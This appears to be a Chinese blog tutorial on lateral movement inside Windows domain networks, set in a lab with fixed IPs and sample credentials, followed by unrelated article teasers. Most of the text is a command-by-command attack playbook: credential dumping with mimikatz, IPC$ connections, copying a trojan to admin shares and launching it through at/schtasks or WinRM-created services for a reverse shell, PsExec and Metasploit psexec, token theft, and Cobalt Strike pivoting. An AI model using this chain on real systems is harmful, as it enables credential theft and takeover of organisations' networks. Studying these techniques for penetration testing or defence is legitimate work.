内网横向移动

news2024/11/26 10:17:44

内网横向移动

当攻击者在拿下一台内网主机后,通常会利用当前拿下的机器当作跳板,进一步攻击 内网其他主机,扩大攻击影响范围。

攻击机:Kali Linux   

靶机:        Windows server 2008            WEB 10.10.10.20\192.168.XX.XX(跳板机)  

                   Windows server 2012            DC    10.10.10.10\192.168.XX.XX       

获得WEB shell后,获取所有账号密码

load kiwi  #mimikatz

getsystem 提升权限

creds_all  获取所有帐户密码

#将目标主机账号密码复制下来备用

IPC$简介

IPC$ (Internet Process Connection) 是共享"命名管道"的资源,它是为了让进程间 通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的 通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

利用 IPC$ ,连接者与目标主机利用建立的连接可以得到目标主机上的目录结构、用 户列表等信息。

使用条件

1.开放了 139 、 445 端口;

IPC$ 连接可以实现远程登陆及对默认共享的访问,而 139 端口的开启表示 netbios 协议的应用。

我们可以通过 139 和 445 端口来实现对共享文件/打印机的访问,因此一般来讲, IPC$ 连接是需要 139 或 445 端口来支持的。

IPC$ 连接默认会走 445 端口,不通的话则会走 139 端口,这两个端口都可以单独实 现文件共享

2.目标开启 IPC$ 文件共享服务及默认共享

默认共享是为了方便管理员远程管理而默认开启的共享。

所有逻辑磁盘( c$、d$、e$ ...)和系统目录 WINNT 或 WINDOWS(ADMIN$) ,通过 IPC连接可以实现对这些默认共享的访问

net share

3.需要目标机器的管理员账号和密码

默认情况下只有被添加到远程计算机管理员组的域用户(域管用户)有权限对 admin$ 目录建立 IPC 连接

本地的 Administrator 用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用 Administrator 用户远程连接

常用命令

1. 连接

net use \\10.10.10.10\ipc$ /user:web\administrator "admin@123"     

2. 查看连接情况

net use

3. 查看目标主机时间

net time \\10.10.10.10

4. 删除连接

net use \\10.10.10.10\ipc$ /del

net use * /del /y    #删除所有连接

5. 文件上传下载

copy shell.exe \\10.10.10.10\c$\windows\temp\xxx.exe  

copy \\10.10.10.10\c$\xxx.exe c:\     #从目标机器下载到本地

6. 查看目标主机文件

dir \\10.10.10.10\c$

7. 开放/关闭 ipc$ 共享

net share ipc$

net share ipc$ /del

8. 共享计算机 C 盘

net share C=c:\

9. 映射共享磁盘到本地

net use z: \\10.10.10.10\c$ /user:administrator "xxxxxxxxx"

10. 查看/删除共享的资源

net share

net share C /del

11. 取消IPC远程连接

net use c: /del

net use * /del /y

#建议手打命令

IPC$连接失败常见错误号

错误号 5,拒绝访问    【很可能你使用的用户不是管理员权 限,先提升权限】

错误号 51,Windows 无法找到网络路径     【网络有问题】

错误号 53,找不到网络路径   【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】

错误号 67,找不到网络名      【你的 lanmanworkstation服务未启动;目标删除了 ipc$;】

错误号 1219,提供的凭据与已存在的凭据集冲突     【你已经和对方建立了一个 ipc$,请删除后再连】

错误号 1326,未知的用户名或错误密码             【用户名或密码错误】

错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型

错误号 1792,试图登录,但是网络登录服务没有启动     【目标NetLogon服务未 启动[连接域控会出现此情况]】

错误号 2242,此用户的密码已经过期        【目标有帐号策略,强 制定期要求更改密码】

IPC+AT+Schtasks

AT简介

AT命令可在指定时间和日期、在指定计算机上运行命令和程序

#Windows2012以下系统可使用at命令

net use \\10.10.10.10\C$ /user:starry\administrator "admin@123"    

copy c:\\dc.exe \\10.10.10.10\c$\windows\temp\6888.exe       #下载木马

查看远程主机时间:net time \\10.10.10.10

AT命令添加任务:at \\10.10.10.10 10:10 c:\6888.exe

AT命令删除任务:at \\10.10.10.10 1 /delete

AT命令查看任务:at \\10.10.10.10   #查看at任务列表,已经执行了的,不会显示

Schtasks简介

由于 AT 在 windows server 2012 等新版系统中已被弃用,所以需要使用 schtasks 命令代替

允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务

请参考:Windows使用SCHTASKS 命令执行定时任务_刘李404not found的博客-CSDN博客

创建任务

schtasks /create /tn task /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system

运行任务

schtasks /run /tn task /s 192.168.10.2 /U 域/域用户 /P 域用户密码

删除任务

schtasks /F /delete /tn task /s 域机器ip /U 域\域用户 /p 域用户密 码

schtasks /create        创建新的计划任务。        

               /sc schedule       指定计划类型。有效值为 MINUTE、HOURLY、 DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。        

               /mo modifier       指定任务在其计划类型内的运行频率。这个参数 对于 MONTHLY 计划是必需的。                            

对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。         /tr       指定任务运行的程序或命令。如果忽略该路径, SchTasks.exe 将假定文件在 Systemroot\System32 目录下。        

               /tn      指定任务的名称。

建立IPC连接

net use \\10.10.10.10\ipc$ "admin@123" /user:administrator      #连接DC主机

上传木马

dir \\10.10.10.10\c$

copy c:\6888.exe \\10.10.10.10\c$

远程主机创建定时任务

schtasks /create /s 10.10.10.10 /u "dc\administrator" /p "admin@123" /sc MINUTE /mo 1 /tn task /tr "c:\\6888.exe"      #复制命令可能报错!建议手打命令

一分钟后,反弹shell

查看远程主机创建的定时任务

chcp 65001   #不更改代码页编码,直接查看可能会报错

schtasks /query /s 10.10.10.10 /tn task    #查看定时任务 

Schtasks运行远程主机上的计划任务

schtasks /run /s 10.10.10.10 /u administrator /p "admin@123" /tn task

Schtasks删除远程主机上的计划任务

schtasks /delete /tn task /s 10.10.10.10 /u dc\administrator /p admin@123

WinRM

WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作 windows命令行,默认监听端口5985(HTTP)和5986 (HTTPS),在2012及以后默认开启

开启WinRM

判断本机是否开启WinRM服务

winrm enumerate winrm/config/listener

查看远程主机是否开启WinRM服务:

serverscan.exe -h 10.10.10.10 -p 5985,5986

nmap  -A sV 192.168.1.6 -p 5985,5986

命令开启WinRM服务

winrm quickconfig

允许远程主机访问及访问远程主机

WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问

winrm set winrm/config/client @{TrustedHosts="*"}   #允许所有主机访问

Winrs执行命令

winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 ipconfig     #建议手打命令

winrs -r:http://10.10.10.10:5985 -u:administrator -p:admin@123 "cmd.exe"

WinRM横向移动

利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}

命令调用了Windows WMI中Win32_process类的Create方法,生成了一个 calc.exe的新进程

在远程机器上打开进程

winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.10:5985 - u:administrator -p:admin@123

在远程机器上创建服务

winrm invoke Create wmicimv2/Win32_Service @{Name="task";DisplayName="test";PathName="cmd.exe /k c:\6888.exe"} -r:http://10.10.10.10:5985 -u:administrator - p:admin@123

在远程机器上启动服务

winrm invoke StartService wmicimv2/Win32_Service?Name=task -r:http://10.10.10.10:5985 -u:administrator -p:admin@123

MSF启动侦听,反弹shell

横向移动-外部工具

Psexec

PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用 程序提供完整的交互性,而无需手动安装客户端软件。

Psexec原理

1. ipc$ 连接,释放 Psexesvc.exe

2. 通过服务管理 OpenSCManager 打开受害者机器上服务控制管理器的句柄

3. 通过 CreateService 创建服务

4. 获取服务句柄 OpenService 使用 StartService 启动服务

Psexec使用前提

1. 对方主机开启了 admin$ 共享,如果关闭了 admin$ 共享,会提示:找不到网络名

2. 对方未开启防火墙

3. 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机 上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户) 登录都会提示访问拒绝访问。

4. 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域 主机可以用普通域用户,连接域控只能用域管理员账户。

PsExec.exe使用

微软官方工具包

PsExec - Sysinternals | Microsoft Learn

IPC连接

net use \\10.10.10.10\ipc$ /user:administrator "admin@123"

建立IPC连接,无需输入密码

反弹cmd:

PsExec64.exe \\10.10.10.10 -s cmd.exe -accepteula 

无法启动服务,执行命令没有回显,但是可以运行木马上线。

在WEB主机上可以运行命令

 Psexec.py

impacket 套件中的 Psexec 与官方 psexec.exe 相比会自动删除服务,增加隐蔽性.

下载地址:

https://github.com/SecureAuthCorp/impacket

psexec.py starry/administrator:admin@123@10.10.10.10

Psexec.exe

目标机器没有python环境,所以把 .py文件打包成 .exe文件 

下载地址:

https://github.com/maaaaz/impacket-examples-windows

psexec.exe starry/administrator:admin@123@10.10.10.10 whoami

Metasploit

Psexec

use exploit/windows/smb/psexec

set RHOSTS 10.10.10.10

set SMBDomain starry

set smbuser administrator

set smbpass admin@123

exploit

Token窃取

Windows有两种类型的Token:

Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程 桌面登录) Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)

两种token只在系统重启后清除

具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效

Metasploit

在Metasploit中,可使用incognito实现token窃取,Metasploit中的 incognito,是从windows平台下的incognito移植过来的

# 加载incognito模块

load incognito

# 列举token

list_tokens -u

# 查看当前token

getuid

# 提示至system权限

getsystem

# token窃取

impersonate_token "NT AUTHORITY\\SYSTEM"

# 从进程窃取token

steal_token 1208

# 返回之前token

rev2self  |   drop_token

Cobaltstrike

跳板机:Windows 7 旗舰版

内网机器:Windows server2008、Windows server 2012

跳板机提升权限

利用ms14-058漏洞

凭证获取

hashdump           #获取hash

logonpasswords  #获取明文密码

扫描存活主机

PortScan扫描存活主机    #没有扫描结果

Net View  网络视图 

结果如下:

Psexec 

由于DC不出网,需要添加正向监听

选择Beacon SMB,点击保存

选择DC右击,选择psexec

Domain:域名

Listener:选择刚才生成的Beacon SMB

session:选择web主机

点击Launch

##前提是知道目标主机密码!!!

上线成功

...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1014753.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C: . 与 -> 的区别

相同点&#xff1a; 功能相同&#xff1a;访问结构体或者类的成员。优先级相同。 不同点&#xff1a; 结构体变量用 . 来访问成员&#xff1b;结构体指针用 ->来访问成员&#xff1b; #include <stdio.h> #include<string.h> //首先定义结构体类型student&a…

达摩院SPACE对话大模型:预训练语言模型,预训练对话模型,知识注入

01 预训练语言模型 VS 预训练对话模型 1. 大规模语言模型 过去几年 NLP 领域的重大进展&#xff0c;主要是大型预训练模型出现与大规模使用。预训练语言模型有了很大的发展&#xff0c;出现了很多变种。但是&#xff0c;本质上都还是语言模型&#xff0c;如上图右边的流程图所…

练习-使用ApplicationContext中事件发送以及AOP来实现代码解耦

案例要求 将用户注册与用户发送消息之间进行解耦 实现 ApplicationContext接口 具体文章见&#xff1a;BeanFactory与ApplicationContext_熵240的博客-CSDN博客 创建事件类 package com.example;import org.springframework.context.ApplicationEvent;public class UserRegis…

回溯算法解决分割回文串

回溯算法解分割回文串 力扣131 给你一个字符串 s&#xff0c;请你将 s 分割成一些子串&#xff0c;使每个子串都是 回文串 。返回 s 所有可能的分割方案。 回文串 是正着读和反着读都一样的字符串。 示例 1&#xff1a; 输入&#xff1a;s "aab" 输出&#xff1…

婚恋相亲系统小程序源码金媒v10.0版 红娘系统pc端+h5端+公众好端统一后台管理模块

婚恋相亲系统小程序源码 金媒v10.0版本 红娘系统正版pc端+h5端+公众好端 统一后台管理 模块:vip模块,活动报名,红娘模块,上榜模块,婚恋文章,动态模块,红娘认领,认证模块(五种,有实名,手机,学历,收入,房子)等等。 多种模板 后台 管理员后台 红娘独立后台,…

Python 字符串格式化

视频版教程 Python3零基础7天入门实战视频教程 我们前面学到字符串拼接&#xff0c;如果简单的2,3个字符串拼接那还算好&#xff0c;如果大于3个变量的拼接&#xff0c;就比较麻烦。还有一点&#xff0c;就是字符串无法和和其他类型直接拼接&#xff0c;需要进行类型转换&…

地奥“畅依笙”革故鼎新,新品面市! 呵护肠胃 助力大健康!

根据平安健康发布的《2021国民肠道健康调研报告》&#xff0c;肠道问题逐渐年轻化&#xff0c;约90%的国人都会遇到肠道问题。我国肠胃终端产品持续热销&#xff0c;根据2021年淘宝天猫全年益生菌保健品/功能食品市场规模&#xff0c;销售额达63.2亿元&#xff1b;目前益生菌类…

Unity减少发布打包文件的体积——获取精灵图片的信息限制它的大小

一、起因 一个工程&#xff0c;打包成webGL且压缩成zip文件后&#xff0c;接近400M&#xff0c;后来把大的精灵图片设置最大尺寸&#xff0c;降低大小后&#xff0c;再次发布&#xff0c;zip文件缩减到250M 二、如何一键获得工程里面的精灵图片信息 三、获取精灵图片信息 1、…

智能工单系统的报修流程是怎样的?工单管理系统有什么作用?

“的修”智能工单管理系统适用于多个行业&#xff0c;包括学校、医院、酒店、企事业单位和社区物业。它基于微信小程序平台和APP开发&#xff0c;支持实现故障报修、报修状态查询以及服务评价等功能。用户可以轻松使用微信进行报修&#xff0c;以及查询报修的进度、状态和对服务…

【Linux从入门到精通】多线程 | 线程互斥(互斥锁)

上篇文章我们对线程 | 线程介绍&线程控制介绍后&#xff0c;本篇文章将会对多线程中的线程互斥与互斥锁的概念进行详解。同时结合实际例子解释了可重入与不被重入函数、临界资源与临界区和原子性的概念。希望本篇文章会对你有所帮助。 文章目录 引入 一、重入与临界 1、1 可…

网络安全深入学习第一课——热门框架漏洞(RCE-命令执行)

文章目录 一、RCE二、命令执行/注入-概述三、命令执行-常见函数四、PHP命令执行-常见函数1、exec&#xff1a;2、system3、passthru4、shell_exec5、反引号 backquote 五、PHP命令执行-常见函数总结六、命令执行漏洞成因七、命令执行漏洞利用条件八、命令执行漏洞分类1、代码层…

目标检测评估指标mAP:从Precision,Recall,到AP50-95【未完待续】

1. TP, FP, FN, TN True Positive 满足以下三个条件被看做是TP 1. 置信度大于阈值&#xff08;类别有阈值&#xff0c;IoU判断这个bouding box是否合适也有阈值&#xff09; 2. 预测类型与标签类型相匹配&#xff08;类别预测对了&#xff09; 3. 预测的Bouding Box和Ground …

C高级day5(Makefile)

一、Xmind整理&#xff1a; 二、上课笔记整理&#xff1a; 1.#----->把带参宏的参数替换成字符串 #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX(a,b) a>b?a:b #define STR(n) #n int main(int argc, const char *argv…

sheetjs實現頁面的數據導出execl

概述 需要給頁面的table做一個數據導出功能,發現一個好用sheetjs工具 只需要簡單的js語法如下,就可以將table的數據導出來 function load(){var date new Date();date.setTime(date.getTime() (8 * 60 * 60 * 1000));var table document.getElementById("tab");v…

神领物流 day02-网关与支付 Spring Cloud Alibaba 微服务

课程安排 单token存在的问题双token三验证用户端token校验与鉴权对接三方支付平台分布式锁 1、场景说明 新入职的你加入了开发一组&#xff0c;也接到了开发任务&#xff0c;并且你也顺利的修复了bug&#xff0c;完成了快递员、司机的鉴权&#xff0c;现在的你已经对项目的业…

C++qt day8

1.用代码实现简单的图形化界面&#xff08;并将工程文件注释&#xff09; 头文件 #ifndef MYWIDGET_H #define MYWIDGET_H //防止头文件冲突#include <QWidget> //父类的头文件class MyWidget : public QWidget //自定义自己的界面类&#xff0c;公共继承…

Linux vim的常见基本操作

目录 vim是一款多模式的编辑器 命令模式下&#xff1a; 用小写英文字母「h」、「j」、「k」、「l」&#xff0c;分别控制光标左、下、上、右移一格 gg&#xff1a;定位到代码第一行 nshiftg 定位到任意一行/最后一行 「 $ 」&#xff1a;移动到光标所在行的结尾 「 ^ 」&…

无涯教程-JavaScript - COLUMNS函数

描述 COLUMNS函数返回数组或引用中的列数。 语法 COLUMNS (array)争论 Argument描述Required/OptionalarrayAn array or array formula, or a reference to a range of cells for which you want the number of Columns.Required Notes COLUMNS(1:1)返回Excel中的列数,即…

字符串解码

题目链接 字符串解码 题目描述 注意点 s 由小写英文字母、数字和方括号 ‘[]’ 组成1 < s.length < 30s 保证是一个 有效 的输入s 中所有整数的取值范围为 [1, 300] 解答思路 利用栈先进后出的特点&#xff0c;将字符存储进栈中创建两个栈&#xff0c;一个数字栈&am…

照片批量处理 7000张

需求&#xff1a; 有6700照片导入系统&#xff1b; 系统只支持500张/每次&#xff1b; 6700 按机构分类复制提取出来&#xff1b; 分批次导入&#xff1b; 6700 分17份复制到对应文件夹中&#xff1b; 照片按照学号命名的&#xff1b; 20231715401.jpg 开始用bat脚本…